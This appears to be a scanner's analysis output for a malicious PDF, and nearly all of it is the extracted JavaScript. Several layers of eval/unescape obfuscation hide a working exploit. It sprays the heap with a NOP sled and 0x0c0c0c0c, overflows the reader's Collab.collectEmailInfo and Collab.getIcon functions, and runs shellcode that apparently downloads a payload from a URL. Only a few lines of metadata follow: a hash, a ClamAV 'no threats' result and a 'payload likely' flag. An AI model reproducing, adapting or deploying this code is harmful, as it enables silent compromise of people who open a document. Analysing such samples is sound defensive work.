54# 56# 37# 117# 55# 50# 54# 56# 37# 117# 51# 53# 54# 53# 37# 117# 49# 67# 50# 52# 37# 117# 55# 52# 54# 57# 37# 117# 53# 52# 53# 48# 37# 117# 66# 56# 53# 51# 37# 117# 70# 67# 65# 65# 37# 117# 55# 67# 48# 68# 37# 117# 53# 53# 70# 70# 37# 117# 56# 51# 49# 56# 37# 117# 48# 67# 67# 52# 37# 117# 66# 48# 53# 48# 37# 117# 56# 65# 54# 67# 37# 117# 57# 56# 69# 48# 37# 117# 54# 56# 53# 48# 37# 117# 54# 69# 54# 70# 37# 117# 54# 52# 50# 69# 37# 117# 55# 53# 54# 56# 37# 117# 54# 67# 55# 50# 37# 117# 53# 52# 54# 68# 37# 117# 56# 69# 66# 56# 37# 117# 48# 69# 52# 69# 37# 117# 70# 70# 69# 67# 37# 117# 49# 56# 53# 53# 37# 117# 67# 52# 56# 51# 37# 117# 57# 51# 48# 67# 37# 117# 51# 51# 53# 48# 37# 117# 53# 48# 67# 48# 37# 117# 53# 54# 53# 48# 37# 117# 53# 53# 56# 66# 37# 117# 48# 51# 49# 56# 37# 117# 49# 52# 53# 53# 37# 117# 53# 48# 53# 50# 37# 117# 51# 54# 66# 56# 37# 117# 50# 70# 49# 65# 37# 117# 70# 70# 55# 48# 37# 117# 49# 56# 53# 53# 37# 117# 56# 51# 53# 66# 37# 117# 48# 48# 55# 68# 37# 117# 48# 70# 48# 49# 37# 117# 57# 69# 56# 53# 37# 117# 48# 48# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 56# 48# 48# 37# 117# 48# 48# 56# 48# 37# 117# 48# 48# 48# 48# 37# 117# 48# 51# 54# 65# 37# 117# 48# 48# 54# 65# 37# 117# 48# 51# 54# 65# 37# 117# 48# 48# 54# 56# 37# 117# 48# 48# 48# 48# 37# 117# 53# 54# 67# 48# 37# 117# 65# 53# 66# 56# 37# 117# 48# 48# 49# 55# 37# 117# 70# 70# 55# 67# 37# 117# 49# 56# 53# 53# 37# 117# 52# 53# 56# 57# 37# 117# 54# 65# 48# 52# 37# 117# 54# 56# 48# 52# 37# 117# 49# 48# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 54# 56# 37# 117# 48# 56# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 66# 56# 48# 48# 37# 117# 67# 65# 53# 52# 37# 117# 57# 49# 65# 70# 37# 117# 53# 53# 70# 70# 37# 117# 56# 57# 49# 56# 37# 117# 48# 67# 52# 53# 37# 117# 54# 65# 53# 48# 37# 117# 56# 68# 48# 48# 37# 117# 48# 56# 52# 68# 37# 117# 54# 56# 53# 49# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 48# 56# 37# 117# 70# 70# 53# 48# 37# 117# 48# 52# 55# 53# 37# 117# 49# 54# 66# 56# 37# 117# 70# 65# 54# 53# 37# 117# 70# 70# 49# 48# 37# 117# 49# 56# 53# 53# 37# 117# 56# 66# 53# 70# 37# 117# 56# 51# 49# 55# 37# 117# 48# 52# 67# 55# 37# 117# 52# 68# 56# 66# 37# 117# 56# 51# 48# 56# 37# 117# 48# 52# 69# 57# 37# 117# 65# 55# 69# 56# 37# 117# 48# 48# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 70# 70# 48# 48# 37# 117# 48# 52# 55# 53# 37# 117# 65# 67# 66# 56# 37# 117# 68# 65# 48# 56# 37# 117# 70# 70# 55# 54# 37# 117# 49# 56# 53# 53# 37# 117# 48# 48# 54# 65# 37# 117# 52# 68# 56# 68# 37# 117# 53# 49# 48# 56# 37# 117# 55# 53# 70# 70# 37# 117# 70# 70# 48# 56# 37# 117# 48# 67# 55# 53# 37# 117# 48# 52# 56# 51# 37# 117# 48# 52# 50# 52# 37# 117# 55# 53# 70# 70# 37# 117# 66# 56# 48# 52# 37# 117# 55# 57# 49# 70# 37# 117# 69# 56# 48# 65# 37# 117# 53# 53# 70# 70# 37# 117# 70# 70# 49# 56# 37# 117# 48# 52# 55# 53# 37# 117# 70# 66# 66# 56# 37# 117# 70# 68# 57# 55# 37# 117# 70# 70# 48# 70# 37# 117# 49# 56# 53# 53# 37# 117# 52# 53# 67# 55# 37# 117# 48# 50# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 53# 55# 48# 48# 37# 117# 66# 56# 53# 54# 37# 117# 70# 69# 57# 56# 37# 117# 48# 69# 56# 65# 37# 117# 53# 53# 70# 70# 37# 117# 69# 66# 49# 56# 37# 117# 49# 56# 50# 65# 37# 117# 70# 57# 50# 65# 37# 117# 68# 50# 66# 55# 37# 117# 66# 51# 55# 55# 37# 117# 52# 53# 48# 49# 37# 117# 57# 50# 56# 65# 37# 117# 65# 68# 66# 55# 37# 117# 53# 68# 53# 48# 37# 117# 54# 55# 69# 52# 37# 117# 69# 54# 70# 53# 37# 117# 49# 65# 67# 55# 37# 117# 65# 66# 66# 70# 37# 117# 49# 48# 49# 69# 37# 117# 55# 54# 52# 50# 37# 117# 65# 49# 65# 50# 37# 117# 54# 51# 53# 52# 37# 117# 55# 66# 48# 57# 37# 117# 66# 48# 56# 57# 37# 117# 57# 55# 70# 52# 37# 117# 55# 51# 52# 69# 37# 117# 51# 70# 57# 51# 37# 117# 56# 51# 70# 49# 37# 117# 48# 48# 55# 68# 37# 117# 55# 52# 48# 50# 37# 117# 67# 55# 54# 48# 37# 117# 48# 48# 52# 53# 37# 117# 48# 48# 48# 49# 37# 117# 48# 48# 48# 48# 37# 117# 52# 53# 67# 55# 37# 117# 55# 57# 49# 48# 37# 117# 54# 53# 50# 69# 37# 117# 67# 55# 55# 56# 37# 117# 49# 52# 52# 53# 37# 117# 48# 49# 55# 50# 37# 117# 48# 48# 48# 48# 37# 117# 55# 68# 56# 66# 37# 117# 48# 51# 49# 56# 37# 117# 49# 52# 55# 68# 37# 117# 50# 54# 66# 57# 37# 117# 48# 48# 48# 48# 37# 117# 56# 66# 48# 48# 37# 117# 70# 67# 53# 55# 37# 117# 48# 53# 69# 56# 37# 117# 48# 48# 48# 48# 37# 117# 69# 57# 48# 48# 37# 117# 70# 69# 55# 67# 37# 117# 70# 70# 70# 70# 37# 117# 67# 48# 51# 51# 37# 117# 48# 55# 56# 65# 37# 117# 67# 56# 68# 50# 37# 117# 67# 49# 51# 50# 37# 117# 68# 48# 70# 54# 37# 117# 67# 53# 51# 50# 37# 117# 67# 50# 51# 50# 37# 117# 67# 54# 51# 50# 37# 117# 67# 48# 68# 50# 37# 117# 67# 49# 48# 50# 37# 117# 67# 53# 48# 50# 37# 117# 67# 50# 48# 50# 37# 117# 67# 54# 48# 50# 37# 117# 67# 56# 68# 50# 37# 117# 67# 49# 50# 65# 37# 117# 67# 53# 50# 65# 37# 117# 68# 48# 70# 54# 37# 117# 67# 50# 50# 65# 37# 117# 67# 54# 50# 65# 37# 117# 67# 48# 68# 50# 37# 117# 67# 50# 68# 51# 37# 117# 67# 65# 48# 70# 37# 117# 48# 55# 56# 56# 37# 117# 52# 57# 52# 55# 37# 117# 67# 69# 55# 53# 37# 117# 67# 51# 67# 51# 37# 117# 55# 52# 54# 56# 37# 117# 55# 48# 55# 52# 37# 117# 50# 70# 51# 65# 37# 117# 55# 55# 50# 70# 37# 117# 55# 55# 55# 55# 37# 117# 55# 51# 50# 69# 37# 117# 54# 70# 54# 53# 37# 117# 54# 68# 50# 69# 37# 117# 54# 67# 54# 66# 37# 117# 51# 50# 54# 68# 37# 117# 54# 53# 55# 50# 37# 117# 54# 67# 54# 54# 37# 117# 51# 50# 54# 69# 37# 117# 51# 51# 54# 67# 37# 117# 54# 53# 54# 54# 37# 117# 55# 55# 55# 54# 37# 117# 54# 66# 54# 67# 37# 117# 54# 67# 55# 54# 37# 117# 54# 51# 50# 69# 37# 117# 54# 68# 54# 70# 37# 117# 50# 70# 50# 70# 37# 117# 54# 70# 54# 67# 37# 117# 54# 52# 54# 49# 37# 117# 55# 48# 50# 69# 37# 117# 55# 48# 54# 56# 37# 117# 54# 57# 51# 70# 37# 117# 51# 68# 54# 52# 37# 117# 48# 48# 51# 50# 34# 41# 59# 13# 10# 118# 97# 114# 32# 109# 101# 109# 95# 97# 114# 114# 97# 121# 32# 61# 32# 110# 101# 119# 32# 65# 114# 114# 97# 121# 40# 41# 59# 13# 10# 118# 97# 114# 32# 99# 99# 32# 61# 32# 48# 120# 48# 99# 48# 99# 48# 99# 48# 99# 59# 13# 10# 118# 97# 114# 32# 97# 100# 100# 114# 32# 61# 32# 48# 120# 52# 48# 48# 48# 48# 48# 59# 13# 10# 118# 97# 114# 32# 115# 99# 95# 108# 101# 110# 32# 61# 32# 97# 100# 100# 107# 107# 46# 108# 101# 110# 103# 116# 104# 32# 42# 32# 50# 59# 13# 10# 118# 97# 114# 32# 108# 101# 110# 32# 61# 32# 97# 100# 100# 114# 32# 45# 32# 40# 115# 99# 95# 108# 101# 110# 43# 48# 120# 51# 56# 41# 59# 13# 10# 118# 97# 114# 32# 121# 97# 114# 115# 112# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 57# 48# 57# 48# 37# 117# 57# 48# 57# 48# 34# 41# 59# 13# 10# 121# 97# 114# 115# 112# 32# 61# 32# 102# 105# 120# 95# 105# 116# 40# 121# 97# 114# 115# 112# 44# 32# 108# 101# 110# 41# 59# 13# 10# 118# 97# 114# 32# 99# 111# 117# 110# 116# 50# 32# 61# 32# 40# 99# 99# 32# 45# 32# 48# 120# 52# 48# 48# 48# 48# 48# 41# 47# 97# 100# 100# 114# 59# 13# 10# 102# 111# 114# 32# 40# 118# 97# 114# 32# 99# 111# 117# 110# 116# 61# 48# 59# 99# 111# 117# 110# 116# 60# 99# 111# 117# 110# 116# 50# 59# 99# 111# 117# 110# 116# 43# 43# 41# 13# 10# 123# 13# 10# 32# 109# 101# 109# 95# 97# 114# 114# 97# 121# 91# 99# 111# 117# 110# 116# 93# 32# 61# 32# 121# 97# 114# 115# 112# 32# 43# 32# 97# 100# 100# 107# 107# 59# 13# 10# 125# 13# 10# 118# 97# 114# 32# 111# 118# 101# 114# 102# 108# 111# 119# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 48# 99# 48# 99# 37# 117# 48# 99# 48# 99# 34# 41# 59# 13# 10# 119# 104# 105# 108# 101# 40# 111# 118# 101# 114# 102# 108# 111# 119# 46# 108# 101# 110# 103# 116# 104# 32# 60# 32# 52# 52# 57# 53# 50# 41# 32# 111# 118# 101# 114# 102# 108# 111# 119# 32# 43# 61# 32# 111# 118# 101# 114# 102# 108# 111# 119# 59# 13# 10# 116# 104# 105# 115# 46# 99# 111# 108# 108# 97# 98# 83# 116# 111# 114# 101# 32# 61# 32# 67# 111# 108# 108# 97# 98# 46# 99# 111# 108# 108# 101# 99# 116# 69# 109# 97# 105# 108# 73# 110# 102# 111# 40# 123# 115# 117# 98# 106# 58# 32# 34# 34# 44# 109# 115# 103# 58# 32# 111# 118# 101# 114# 102# 108# 111# 119# 125# 41# 59# 13# 10# 125# 13# 10# 13# 10# 105# 102# 32# 40# 118# 101# 114# 115# 105# 111# 110# 32# 60# 32# 57# 46# 49# 41# 13# 10# 123# 13# 10# 105# 102# 32# 40# 97# 112# 112# 46# 100# 111# 99# 46# 67# 111# 108# 108# 97# 98# 46# 103# 101# 116# 73# 99# 111# 110# 41# 123# 13# 10# 32# 118# 97# 114# 32# 118# 118# 112# 101# 116# 104# 121# 97# 32# 61# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 65# 49# 54# 52# 37# 117# 48# 48# 49# 56# 37# 117# 48# 48# 48# 48# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 51# 48# 37# 117# 53# 52# 52# 48# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 48# 52# 37# 117# 48# 52# 52# 48# 37# 117# 52# 48# 56# 66# 37# 117# 48# 68# 48# 52# 37# 117# 48# 48# 50# 48# 37# 117# 48# 48# 50# 48# 37# 117# 55# 67# 51# 68# 37# 117# 55# 55# 48# 48# 37# 117# 55# 52# 48# 48# 37# 117# 67# 51# 48# 49# 37# 117# 67# 48# 51# 51# 37# 117# 56# 66# 54# 52# 37# 117# 51# 48# 52# 48# 37# 117# 48# 67# 55# 56# 37# 117# 52# 48# 56# 66# 37# 117# 56# 66# 48# 67# 37# 117# 49# 67# 55# 48# 37# 117# 56# 66# 65# 68# 37# 117# 48# 56# 53# 56# 37# 117# 48# 57# 69# 66# 37# 117# 52# 48# 56# 66# 37# 117# 56# 68# 51# 52# 37# 117# 55# 67# 52# 48# 37# 117# 53# 56# 56# 66# 37# 117# 54# 65# 51# 67# 37# 117# 53# 65# 52# 69# 37# 117# 69# 50# 68# 49# 37# 117# 69# 50# 50# 66# 37# 117# 69# 67# 56# 66# 37# 117# 52# 53# 67# 55# 37# 117# 54# 69# 49# 48# 37# 117# 54# 53# 50# 69# 37# 117# 67# 55# 55# 56# 37# 117# 49# 52# 52# 53# 37# 117# 48# 49# 70# 70# 37# 117# 48# 48# 48# 48# 37# 117# 52# 53# 67# 55# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 69# 66# 48# 48# 37# 117# 53# 65# 52# 70# 37# 117# 56# 51# 53# 50# 37# 117# 53# 54# 69# 65# 37# 117# 53# 53# 56# 57# 37# 117# 53# 54# 49# 56# 37# 117# 56# 66# 53# 55# 37# 117# 51# 67# 55# 51# 37# 117# 55# 52# 56# 66# 37# 117# 55# 56# 51# 51# 37# 117# 70# 51# 48# 51# 37# 117# 56# 66# 53# 54# 37# 117# 50# 48# 55# 54# 37# 117# 70# 51# 48# 51# 37# 117# 67# 57# 51# 51# 37# 117# 53# 48# 52# 57# 37# 117# 65# 68# 52# 49# 37# 117# 70# 70# 51# 51# 37# 117# 48# 70# 51# 54# 37# 117# 49# 52# 66# 69# 37# 117# 51# 56# 48# 51# 37# 117# 55# 52# 70# 50# 37# 117# 67# 49# 48# 56# 37# 117# 48# 68# 67# 70# 37# 117# 70# 65# 48# 51# 37# 117# 69# 66# 52# 48# 37# 117# 53# 56# 69# 70# 37# 117# 70# 56# 51# 66# 37# 117# 69# 53# 55# 53# 37# 117# 56# 66# 53# 69# 37# 117# 50# 52# 52# 54# 37# 117# 67# 51# 48# 51# 37# 117# 56# 66# 54# 54# 37# 117# 52# 56# 48# 67# 37# 117# 53# 54# 56# 66# 37# 117# 48# 51# 49# 67# 37# 117# 56# 66# 68# 51# 37# 117# 56# 65# 48# 52# 37# 117# 67# 51# 48# 51# 37# 117# 53# 69# 53# 70# 37# 117# 67# 51# 53# 48# 37# 117# 55# 68# 56# 68# 37# 117# 53# 55# 49# 67# 37# 117# 66# 56# 53# 50# 37# 117# 67# 65# 51# 51# 37# 117# 53# 66# 56# 65# 37# 117# 65# 50# 69# 56# 37# 117# 70# 70# 70# 70# 37# 117# 51# 50# 70# 70# 37# 117# 56# 66# 67# 48# 37# 117# 70# 50# 70# 55# 37# 117# 52# 70# 65# 69# 37# 117# 52# 53# 56# 66# 37# 117# 65# 66# 49# 48# 37# 117# 57# 56# 54# 54# 37# 117# 65# 66# 54# 54# 37# 117# 67# 48# 51# 51# 37# 117# 54# 49# 66# 56# 37# 117# 48# 48# 54# 52# 37# 117# 53# 48# 48# 48# 37# 117# 53# 52# 54# 56# 37# 117# 55# 50# 54# 56# 37# 117# 51# 53# 54# 53# 37# 117# 49# 67# 50# 52# 37# 117# 55# 52# 54# 57# 37# 117# 53# 52# 53# 48# 37# 117# 66# 56# 53# 51# 37# 117# 70# 67# 65# 65# 37# 117# 55# 67# 48# 68# 37# 117# 53# 53# 70# 70# 37# 117# 56# 51# 49# 56# 37# 117# 48# 67# 67# 52# 37# 117# 66# 48# 53# 48# 37# 117# 56# 65# 54# 67# 37# 117# 57# 56# 69# 48# 37# 117# 54# 56# 53# 48# 37# 117# 54# 69# 54# 70# 37# 117# 54# 52# 50# 69# 37# 117# 55# 53# 54# 56# 37# 117# 54# 67# 55# 50# 37# 117# 53# 52# 54# 68# 37# 117# 56# 69# 66# 56# 37# 117# 48# 69# 52# 69# 37# 117# 70# 70# 69# 67# 37# 117# 49# 56# 53# 53# 37# 117# 67# 52# 56# 51# 37# 117# 57# 51# 48# 67# 37# 117# 51# 51# 53# 48# 37# 117# 53# 48# 67# 48# 37# 117# 53# 54# 53# 48# 37# 117# 53# 53# 56# 66# 37# 117# 48# 51# 49# 56# 37# 117# 49# 52# 53# 53# 37# 117# 53# 48# 53# 50# 37# 117# 51# 54# 66# 56# 37# 117# 50# 70# 49# 65# 37# 117# 70# 70# 55# 48# 37# 117# 49# 56# 53# 53# 37# 117# 56# 51# 53# 66# 37# 117# 48# 48# 55# 68# 37# 117# 48# 70# 48# 49# 37# 117# 57# 69# 56# 53# 37# 117# 48# 48# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 56# 48# 48# 37# 117# 48# 48# 56# 48# 37# 117# 48# 48# 48# 48# 37# 117# 48# 51# 54# 65# 37# 117# 48# 48# 54# 65# 37# 117# 48# 51# 54# 65# 37# 117# 48# 48# 54# 56# 37# 117# 48# 48# 48# 48# 37# 117# 53# 54# 67# 48# 37# 117# 65# 53# 66# 56# 37# 117# 48# 48# 49# 55# 37# 117# 70# 70# 55# 67# 37# 117# 49# 56# 53# 53# 37# 117# 52# 53# 56# 57# 37# 117# 54# 65# 48# 52# 37# 117# 54# 56# 48# 52# 37# 117# 49# 48# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 54# 56# 37# 117# 48# 56# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 66# 56# 48# 48# 37# 117# 67# 65# 53# 52# 37# 117# 57# 49# 65# 70# 37# 117# 53# 53# 70# 70# 37# 117# 56# 57# 49# 56# 37# 117# 48# 67# 52# 53# 37# 117# 54# 65# 53# 48# 37# 117# 56# 68# 48# 48# 37# 117# 48# 56# 52# 68# 37# 117# 54# 56# 53# 49# 37# 117# 48# 48# 48# 48# 37# 117# 48# 48# 48# 56# 37# 117# 70# 70# 53# 48# 37# 117# 48# 52# 55# 53# 37# 117# 49# 54# 66# 56# 37# 117# 70# 65# 54# 53# 37# 117# 70# 70# 49# 48# 37# 117# 49# 56# 53# 53# 37# 117# 56# 66# 53# 70# 37# 117# 56# 51# 49# 55# 37# 117# 48# 52# 67# 55# 37# 117# 52# 68# 56# 66# 37# 117# 56# 51# 48# 56# 37# 117# 48# 52# 69# 57# 37# 117# 65# 55# 69# 56# 37# 117# 48# 48# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 54# 65# 48# 48# 37# 117# 70# 70# 48# 48# 37# 117# 48# 52# 55# 53# 37# 117# 65# 67# 66# 56# 37# 117# 68# 65# 48# 56# 37# 117# 70# 70# 55# 54# 37# 117# 49# 56# 53# 53# 37# 117# 48# 48# 54# 65# 37# 117# 52# 68# 56# 68# 37# 117# 53# 49# 48# 56# 37# 117# 55# 53# 70# 70# 37# 117# 70# 70# 48# 56# 37# 117# 48# 67# 55# 53# 37# 117# 48# 52# 56# 51# 37# 117# 48# 52# 50# 52# 37# 117# 55# 53# 70# 70# 37# 117# 66# 56# 48# 52# 37# 117# 55# 57# 49# 70# 37# 117# 69# 56# 48# 65# 37# 117# 53# 53# 70# 70# 37# 117# 70# 70# 49# 56# 37# 117# 48# 52# 55# 53# 37# 117# 70# 66# 66# 56# 37# 117# 70# 68# 57# 55# 37# 117# 70# 70# 48# 70# 37# 117# 49# 56# 53# 53# 37# 117# 52# 53# 67# 55# 37# 117# 48# 50# 48# 48# 37# 117# 48# 48# 48# 48# 37# 117# 53# 55# 48# 48# 37# 117# 66# 56# 53# 54# 37# 117# 70# 69# 57# 56# 37# 117# 48# 69# 56# 65# 37# 117# 53# 53# 70# 70# 37# 117# 69# 66# 49# 56# 37# 117# 49# 56# 50# 65# 37# 117# 70# 57# 50# 65# 37# 117# 68# 50# 66# 55# 37# 117# 66# 51# 55# 55# 37# 117# 52# 53# 48# 49# 37# 117# 57# 50# 56# 65# 37# 117# 65# 68# 66# 55# 37# 117# 53# 68# 53# 48# 37# 117# 54# 55# 69# 52# 37# 117# 69# 54# 70# 53# 37# 117# 49# 65# 67# 55# 37# 117# 65# 66# 66# 70# 37# 117# 49# 48# 49# 69# 37# 117# 55# 54# 52# 50# 37# 117# 65# 49# 65# 50# 37# 117# 54# 51# 53# 52# 37# 117# 55# 66# 48# 57# 37# 117# 66# 48# 56# 57# 37# 117# 57# 55# 70# 52# 37# 117# 55# 51# 52# 69# 37# 117# 51# 70# 57# 51# 37# 117# 56# 51# 70# 49# 37# 117# 48# 48# 55# 68# 37# 117# 55# 52# 48# 50# 37# 117# 67# 55# 54# 48# 37# 117# 48# 48# 52# 53# 37# 117# 48# 48# 48# 49# 37# 117# 48# 48# 48# 48# 37# 117# 52# 53# 67# 55# 37# 117# 55# 57# 49# 48# 37# 117# 54# 53# 50# 69# 37# 117# 67# 55# 55# 56# 37# 117# 49# 52# 52# 53# 37# 117# 48# 49# 55# 50# 37# 117# 48# 48# 48# 48# 37# 117# 55# 68# 56# 66# 37# 117# 48# 51# 49# 56# 37# 117# 49# 52# 55# 68# 37# 117# 50# 54# 66# 57# 37# 117# 48# 48# 48# 48# 37# 117# 56# 66# 48# 48# 37# 117# 70# 67# 53# 55# 37# 117# 48# 53# 69# 56# 37# 117# 48# 48# 48# 48# 37# 117# 69# 57# 48# 48# 37# 117# 70# 69# 55# 67# 37# 117# 70# 70# 70# 70# 37# 117# 67# 48# 51# 51# 37# 117# 48# 55# 56# 65# 37# 117# 67# 56# 68# 50# 37# 117# 67# 49# 51# 50# 37# 117# 68# 48# 70# 54# 37# 117# 67# 53# 51# 50# 37# 117# 67# 50# 51# 50# 37# 117# 67# 54# 51# 50# 37# 117# 67# 48# 68# 50# 37# 117# 67# 49# 48# 50# 37# 117# 67# 53# 48# 50# 37# 117# 67# 50# 48# 50# 37# 117# 67# 54# 48# 50# 37# 117# 67# 56# 68# 50# 37# 117# 67# 49# 50# 65# 37# 117# 67# 53# 50# 65# 37# 117# 68# 48# 70# 54# 37# 117# 67# 50# 50# 65# 37# 117# 67# 54# 50# 65# 37# 117# 67# 48# 68# 50# 37# 117# 67# 50# 68# 51# 37# 117# 67# 65# 48# 70# 37# 117# 48# 55# 56# 56# 37# 117# 52# 57# 52# 55# 37# 117# 67# 69# 55# 53# 37# 117# 67# 51# 67# 51# 37# 117# 55# 52# 54# 56# 37# 117# 55# 48# 55# 52# 37# 117# 50# 70# 51# 65# 37# 117# 55# 55# 50# 70# 37# 117# 55# 55# 55# 55# 37# 117# 55# 51# 50# 69# 37# 117# 54# 70# 54# 53# 37# 117# 54# 68# 50# 69# 37# 117# 54# 67# 54# 66# 37# 117# 51# 50# 54# 68# 37# 117# 54# 53# 55# 50# 37# 117# 54# 67# 54# 54# 37# 117# 51# 50# 54# 69# 37# 117# 51# 51# 54# 67# 37# 117# 54# 53# 54# 54# 37# 117# 55# 55# 55# 54# 37# 117# 54# 66# 54# 67# 37# 117# 54# 67# 55# 54# 37# 117# 54# 51# 50# 69# 37# 117# 54# 68# 54# 70# 37# 117# 50# 70# 50# 70# 37# 117# 54# 70# 54# 67# 37# 117# 54# 52# 54# 49# 37# 117# 55# 48# 50# 69# 37# 117# 55# 48# 54# 56# 37# 117# 54# 57# 51# 70# 37# 117# 51# 68# 54# 52# 37# 117# 48# 48# 51# 52# 34# 41# 59# 13# 10# 32# 118# 97# 114# 32# 104# 87# 113# 53# 48# 48# 67# 78# 32# 61# 32# 118# 118# 112# 101# 116# 104# 121# 97# 46# 108# 101# 110# 103# 116# 104# 32# 42# 32# 50# 59# 13# 10# 32# 118# 97# 114# 32# 108# 101# 110# 32# 61# 32# 48# 120# 52# 48# 48# 48# 48# 48# 32# 45# 32# 40# 104# 87# 113# 53# 48# 48# 67# 78# 32# 43# 32# 48# 120# 51# 56# 41# 59# 13# 10# 32# 118# 97# 114# 32# 121# 97# 114# 115# 112# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 117# 57# 48# 57# 48# 37# 117# 57# 48# 57# 48# 34# 41# 59# 13# 10# 32# 121# 97# 114# 115# 112# 32# 61# 32# 102# 105# 120# 95# 105# 116# 40# 121# 97# 114# 115# 112# 44# 32# 108# 101# 110# 41# 59# 13# 10# 32# 118# 97# 114# 32# 112# 53# 65# 106# 75# 54# 53# 102# 32# 61# 32# 40# 48# 120# 48# 99# 48# 99# 48# 99# 48# 99# 32# 45# 32# 48# 120# 52# 48# 48# 48# 48# 48# 41# 32# 47# 32# 48# 120# 52# 48# 48# 48# 48# 48# 59# 13# 10# 32# 102# 111# 114# 32# 40# 118# 97# 114# 32# 118# 113# 99# 81# 68# 57# 54# 121# 32# 61# 32# 48# 59# 32# 118# 113# 99# 81# 68# 57# 54# 121# 32# 60# 32# 112# 53# 65# 106# 75# 54# 53# 102# 59# 32# 118# 113# 99# 81# 68# 57# 54# 121# 32# 43# 43# 32# 41# 123# 13# 10# 32# 97# 114# 114# 121# 91# 118# 113# 99# 81# 68# 57# 54# 121# 93# 32# 61# 32# 121# 97# 114# 115# 112# 32# 43# 32# 118# 118# 112# 101# 116# 104# 121# 97# 59# 125# 13# 10# 32# 118# 97# 114# 32# 116# 85# 77# 104# 78# 98# 71# 119# 32# 61# 32# 117# 110# 101# 115# 99# 97# 112# 101# 40# 34# 37# 48# 57# 34# 41# 59# 13# 10# 32# 119# 104# 105# 108# 101# 32# 40# 116# 85# 77# 104# 78# 98# 71# 119# 46# 108# 101# 110# 103# 116# 104# 32# 60# 32# 48# 120# 52# 48# 48# 48# 41# 116# 85# 77# 104# 78# 98# 71# 119# 32# 43# 61# 32# 116# 85# 77# 104# 78# 98# 71# 119# 59# 13# 10# 32# 116# 85# 77# 104# 78# 98# 71# 119# 32# 61# 32# 34# 78# 46# 34# 32# 43# 32# 116# 85# 77# 104# 78# 98# 71# 119# 59# 13# 10# 32# 97# 112# 112# 46# 100# 111# 99# 46# 67# 111# 108# 108# 97# 98# 46# 103# 101# 116# 73# 99# 111# 110# 40# 116# 85# 77# 104# 78# 98# 71# 119# 41# 59# 13# 10# 125# 13# 10# 125# 13# 10".replace(/[a-z]/g,function (c){eval(S3qSsr4Qeiq93);}).split("# ");eval(unescape("%76%61"+"%72%"+"20%70%6"+"4%20%3D%20%2"+"2%22%3B%0D"+"%0A%66%6F%72%"+"20%28%76%61%"+"72%20%69%3D%30%3B%20%69"+"%3C%62%64%2E%6C%65%"+"6E%67%74%68%3B%"+"20%69%2B%2B%29%7B"+"%20%70%64%20%2B%3D"+"%20%53%74%72%69%6E"+"%67%2E%66%72%6F"+"%6D%43%68%61%72%43%"+"6F%64%65%28%"+"62%64%5B%69%5D%"+"29%3B%20%7D%0"+"D%0A%0D%0A%0D%0A%65%76%61%6C"+"%28%70%64%2"+"9%3B"));
javascript_obj0007_001.js pdf-javascript-stream PDF /JS object 7 at offset 0x22D 1659 bytes
SHA-256: 5d726a7f021e4fd82ae9920a2090e2a10adbcbe19c57166a47153bb30208b4e5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s). Carved artifact contains 5 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
eval(unescape(""+"%76%61%"+"72%20%45%64"+"%42%38%77%46"+"%4D%7A%6D%41"+"%35%75%3D%22%63"+"%22%3B%76%61%72%"+"20%69"+"%4E%6A%46%78%68%3"+"7%49%3D%22%"+"68%22%3B%0D%0A%77%49%59%73%4A%68%31%20%3D%20%45%64%42%38%77%46%4D%7A%6D%41%35%75%2B%69%4E%6A%46%78%68%37%49%2B%22%61%72%43%22%2B%22%6F%64%22%2B%22%65%41%22%3B%0D%0A%72%5A%68%71%53%59%72%74%6C%44%4B%53%64%20%3D%20%32%32%33%3B%20%61%70%38%6D%20%3D%20%33%32%3B%20%72%71%35%37%44%33%35%48%59%63%39%6C%68%20%3D%20%65%76%61%6C%3B%44%63%51%74%50%58%52%73%38%20%3D%20%36%35%3B%20%"+"0D%0A%76%61%72%20%4D%5A%6D%5A%42%4B%4B%31%31%47%3D%22%72%65%74%22%3B%76%61%72%20%6C%64%4F%75%6D%5A%6D%4B%55%58%3D%22%72%22%3B%76%61%72%20%51%50%32%43%43%61%46%66%3D%22%6E%20%22%3B%76%61%72%20%46%33%38%67%4D%41%56%65%44%3D%22%53%74%72%22%3B%76%61%72%20%76%48%71%74%6C%74%4A%3D%22%6E%67%2E%22%3B%76%61%72%20%73%57%72%79%34%59%50%73%3D%22%6D%43%68%22%3B%76%61%72%20%73%5A%41%65%6D%67%74%71%39%3D%22%61%22%3B%76%61%72%20%66%77%4E%6B%56%35%34%63%30%3D%22%43%6F%64%22%3B%76%61%72%20"+"%6F%46%71%51%57%6E%4C%69%44%3D%22%65%22%3B%53%33%71%53%73%72%34%51%65%69%71%39%33%3D%4D%5A%6D%5A%42%4B%4B%31%31%47%2B%22%75%22%2B%6C%64%4F%75%6D%5A%6D%4B%55%58%2B%51%50%32%43%43%61%46%66%2B%46%33%"+"38%67%4D%41%56%65%44%2B%22%69%22%2B%76%48%71%74%6C%74%4A%2B%22%66%72%6F%22%2B%73%57%72%79%34%59%50%73%2B%73%5A%41%65%6D%67%74%71%39%2B%22%72%22%2B%66%77%4E%6B%56%35%34%63%30%2B%6F%46"+"%71%51%57%6E%4C%69%44%2B%22%28%28%28%28%63%20%3D%20%63%2E%77%49%59%73%4A%68%31%28%30%29%29%20%26%20%72%5A%68%71%53%59%72%74%6C%44%4B%53%64%29%20%2D%20%35%32%29%20